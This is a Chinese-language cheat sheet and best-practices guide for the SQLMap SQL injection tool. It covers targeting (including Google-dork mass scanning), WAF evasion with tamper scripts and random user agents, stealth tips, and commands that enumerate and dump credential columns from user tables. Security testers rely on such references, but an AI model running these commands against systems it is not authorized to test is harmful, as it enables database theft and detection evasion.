SQLMap
一、 SQLMap 常用参数速查表
1. 目标指定 (Target)
用于告诉 SQLMap 你的测试目标在哪里。
| 参数 | 示例 / 说明 | 典型应用场景 |
|---|---|---|
-u / --url | -u "http://site.com/vuln.php?id=1" | 最基础的用法,直接指定目标 URL。 |
-r | -r request.txt | 从文本文件中读取 HTTP 请求(常与 Burp Suite 配合使用)。 |
-m | -m urls.txt | 批量扫描,从文本中读取多个 URL 进行测试。 |
--googledork | --googledork "inurl:php?id=" | 使用 Google Dork 批量搜索并测试潜在目标。 |
2. 请求设置 (Request)
用于自定义 HTTP 请求,以便伪造正常用户或绕过基础防御。
| 参数 | 示例 / 说明 | 典型应用场景 |
|---|---|---|
--data | --data "user=1&pass=2" | 测试 POST 类型的注入。 |
--cookie | --cookie "PHPSESSID=123..." | 目标需要登录态时,带上 Cookie 进行测试。 |
--user-agent | --user-agent "Mozilla/5.0..." | 自定义 User-Agent 头部。 |
--random-agent | --random-agent | 随机使用内置的正常 User-Agent(强烈推荐,防封堵)。 |
--headers | --headers="X-Forwarded-For: 127.0.0.1" | 添加或修改额外的 HTTP 头部。 |
--proxy | --proxy="http://127.0.0.1:8080" | 通过代理发起请求(如通过 Burp Suite 抓包分析)。 |
3. 注入与探测级别 (Injection & Detection)
控制扫描的深度、危险程度以及注入技术。
| 参数 | 示例 / 说明 | 典型应用场景 |
|---|---|---|
-p | -p "id,user" | 指定只测试特定的参数,节省大量时间。 |
--level | --level=3 (范围 1-5,默认 1) | 提高测试覆盖率。Level 2 会测 Cookie,Level 3 会测 User-Agent/Referer。 |
--risk | --risk=2 (范围 1-3,默认 1) | 提高风险等级。注意:Risk 3 会包含可能修改数据库的语句(如 UPDATE)。 |
--technique | --technique=BEUSTQ | 指定注入技术:Bolean, Error, Union, Stacked, Time, Queries。 |
--dbms | --dbms="MySQL" | 当你已知目标数据库类型时,直接指定以节省探测时间。 |
--os | --os="Windows" | 直接指定目标操作系统类型。 |
4. 数据枚举 (Enumeration)
确认存在注入后,用于获取数据库中的信息。
| 参数 | 示例 / 说明 | 典型应用场景 |
|---|---|---|
-b / --banner | -b | 获取数据库的版本和指纹信息。 |
--current-user | --current-user | 获取当前连接数据库的用户。 |
--current-db | --current-db | 获取当前正在使用的数据库名。 |
--dbs | --dbs | 枚举出服务器上所有的数据库。 |
--tables | -D security --tables | 枚举指定数据库 (-D) 中的所有表。 |
--columns | -D security -T users --columns | 枚举指定表 (-T) 中的所有字段/列。 |
--dump | -D security -T users -C "user,pass" --dump | 导出特定字段 (-C) 的数据。 |
--start / --stop | --start=1 --stop=10 | 配合 --dump 使用,只导出前 10 条数据(大表必备)。 |
5. 优化与绕过 (Optimization & Evasion)
在遇到 WAF (Web 应用防火墙) 或网络不稳定时的利器。
| 参数 | 示例 / 说明 | 典型应用场景 |
|---|---|---|
--tamper | --tamper="space2comment.py" | 使用混淆脚本绕过 WAF/IPS 的规则拦截。 |
--delay | --delay=2 | 设置每次请求间的延迟(秒),防止请求过快被封 IP。 |
--threads | --threads=5 (最大 10) | 增加并发线程数,加快盲注或数据导出的速度。 |
--batch | --batch | 自动化运行,所有交互式提示默认选择 "Yes"(批量跑任务必备)。 |
--flush-session | --flush-session | 清空之前的缓存 session 数据,重新进行探测。 |
二、 最佳实践
- 结合 Burp Suite 使用 (最推荐的姿势)
直接使用
-u参数往往难以处理复杂的登录态、CSRF Token 或复杂的 JSON 请求。
- 实践:在 Burp Suite 中拦截目标请求,右键 "Copy to file" 保存为
req.txt,然后使用命令sqlmap -r req.txt -p 目标参数 --batch。
- 精准打击,提升效率 SQLMap 默认会测试所有参数并尝试所有数据库类型,这非常耗时且容易产生大量垃圾日志暴露行踪。
- 实践:如果你通过信息收集已经知道目标是 PHP+MySQL,并且只想测试
id参数,请明确指定:sqlmap -u "..." -p "id" --dbms="MySQL" --technique=U(优先尝试联合查询)。
- WAF 绕过与隐蔽测试
默认的 User-Agent 会直接暴露你正在使用 SQLMap (
sqlmap/1.x...),极容易被 WAF 直接拦截。
- 实践:永远养成加上
--random-agent的习惯。如果遇到简单的 WAF,尝试组合 Tamper 脚本,例如:sqlmap -r req.txt --random-agent --tamper="space2comment,apostrophemask" --delay=1
- 安全地获取数据 (控制 Risk 与 Dump)
不要轻易使用
--risk=3,它包含的基于时间的盲注可能会使用带有OR条件的长时间睡眠语句,或者进行写入操作,极易导致生产环境数据库雪崩或数据被破坏。
- 实践:获取数据时,如果表非常大(比如有几十万用户),千万不要直接
--dump,这会占用极大的网络带宽。使用--start=1 --stop=5只获取前 5 条证明漏洞存在即可。
- 清理缓存 有时候目标服务器修复了部分问题,或者你换了网络环境,SQLMap 会直接读取本地之前失败的缓存,导致判断错误。
- 实践:当结果不符合预期时,加上
--flush-session重试。